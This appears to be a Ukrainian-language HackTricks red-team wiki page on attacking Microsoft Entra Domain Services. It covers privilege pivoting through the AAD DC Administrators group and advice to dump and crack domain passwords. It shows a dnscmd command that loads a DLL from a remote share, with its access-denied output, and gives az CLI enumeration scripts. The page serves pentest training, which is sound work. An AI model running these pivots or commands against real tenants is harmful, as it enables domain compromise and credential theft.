Az - Microsoft Entra Domain Services

Reading time: 6 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

Domain Services

Microsoft Entra Domain Services дозволяє розгорнути Active Directory в Azure без необхідності керувати контролерами домену (насправді у вас навіть немає доступу до них).

Основна мета полягає в тому, щоб дозволити вам запускати застарілі програми в хмарі, які не можуть використовувати сучасні методи аутентифікації, або коли ви не хочете, щоб запити до каталогу завжди поверталися до локального середовища AD DS.

Зверніть увагу, що для синхронізації користувачів, створених в Entra ID (і не синхронізованих з інших активних каталогів), до служби домену AD вам потрібно змінити пароль користувача на новий, щоб його можна було синхронізувати з новим AD. Насправді, користувач не синхронізується з Microsoft Entra ID до Служб домену, поки пароль не буде змінено.

warning

Навіть якщо ви створюєте новий домен активного каталогу, ви не зможете повністю ним керувати (якщо не експлуатувати деякі неправильні налаштування), що означає, що за замовчуванням, наприклад, ви не можете створювати користувачів безпосередньо в AD. Ви створюєте їх, синхронізуючи користувачів з Entra ID. Ви можете вказати синхронізувати всіх користувачів (навіть тих, хто синхронізований з інших локальних AD), лише хмарних користувачів (користувачів, створених в Entra ID) або навіть додатково їх фільтрувати.

note

Загалом, через відсутність гнучкості в налаштуванні нового домену та той факт, що AD зазвичай вже знаходяться на локальному рівні, це не основна інтеграція між Entra ID та AD, але все ж цікаво знати, як її скомпрометувати.

Pivoting

Члени згенерованої AAD DC Administrators групи отримують локальні адміністративні права на ВМ, які приєднані до керованого домену (але не в контролерах домену), оскільки вони додаються до групи локальних адміністраторів. Члени цієї групи також можуть використовувати Remote Desktop для віддаленого підключення до ВМ, приєднаних до домену, і також є членами груп:

  • Denied RODC Password Replication Group: Це група, яка визначає користувачів і групи, паролі яких не можуть бути кешовані на RODC (контролерах домену тільки для читання).
  • Group Policy Creators Owners: Ця група дозволяє членам створювати групові політики в домені. Однак її члени не можуть застосовувати групові політики до користувачів або груп або редагувати існуючі GPO, тому це не так цікаво в цьому середовищі.
  • DnsAdmins: Ця група дозволяє керувати налаштуваннями DNS і в минулому була зловживана для ескалації привілеїв і компрометації домену, однак після тестування атаки в цьому середовищі було перевірено, що вразливість виправлена:
text
dnscmd TDW52Y80ZE26M1K.azure.training.hacktricks.xyz /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll

DNS Server failed to reset registry property.
Status = 5 (0x00000005)
Command failed:  ERROR_ACCESS_DENIED     5    0x5

Зверніть увагу, що для надання цих дозволів у AD група AAD DC Administrators стає членом попередніх груп, а також GPO AADDC Computers GPO додає до локальних адміністраторів усіх членів доменної групи AAD DC Administrators.

Перехід з Entra ID до AD, створеного за допомогою Domain Services, є простим: просто додайте користувача до групи AAD DC Administrators, отримайте доступ через RDP до будь-яких/усіх машин у домені, і ви зможете вкрасти дані та також компрометувати домен.

Однак перехід з домену до Entra ID не є таким простим, оскільки нічого з домену не синхронізується в Entra ID. Проте завжди перевіряйте метадані всіх ВМ, приєднаних до їх призначених керованих ідентичностей, оскільки вони можуть мати цікаві дозволи. Також вивантажте всі паролі користувачів з домену і спробуйте їх зламати, щоб потім увійти в Entra ID / Azure.

note

Зверніть увагу, що в минулому були виявлені інші вразливості в цьому керованому AD, які дозволяли компрометувати DC, як ця. Зловмисник, який компрометує DC, може дуже легко підтримувати стійкість, не помічаючи Azure адміністраторів або навіть не маючи можливості видалити це.

Enumeration

bash
# Get configured domain services domains (you can add more subs to check in more subscriptions)
az rest --method post \
--url "https://management.azure.com/providers/Microsoft.ResourceGraph/resources?api-version=2021-03-01" \
--body '{
"subscriptions": [
"0ce1297c-9153-425d-3229-f51093614377"
],
"query": "resources | where type == \"microsoft.aad/domainservices\"",
"options": {
"$top": 16,
"$skip": 0,
"$skipToken": ""
}
}'

# Get domain configuration
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/<domain-name>?api-version=2022-12-01&healthdata=true"
## e.g.
az rest --url "https://management.azure.com/subscriptions/0ce1297c-9153-425d-3229-f51093614377/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/azure.training.hacktricks.xyz?api-version=2022-12-01&healthdata=true"

# Based on the VNet assigned to the domain services, you can enumerate the VMs in the domain

subscription_id="0ce1297c-9153-425d-3229-f51093614377"
vnet_name="aadds-vnet"

# Retrieve all VMs in the subscription
vm_list=$(az vm list --subscription "$subscription_id" --query "[].{Name:name, ResourceGroup:resourceGroup}" --output tsv)

# Iterate through each VM to check their VNet connection
echo "VMs connected to VNet '$vnet_name':"
while IFS=$'\t' read -r vm_name resource_group; do
nic_ids=$(az vm show --subscription "$subscription_id" --name "$vm_name" --resource-group "$resource_group" --query "networkProfile.networkInterfaces[].id" --output tsv)

for nic_id in $nic_ids; do
subnet_id=$(az network nic show --ids "$nic_id" --query "ipConfigurations[0].subnet.id" --output tsv)

if [[ $subnet_id == *"virtualNetworks/$vnet_name"* ]]; then
echo "VM Name: $vm_name, Resource Group: $resource_group"
fi
done
done <<< "$vm_list"

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks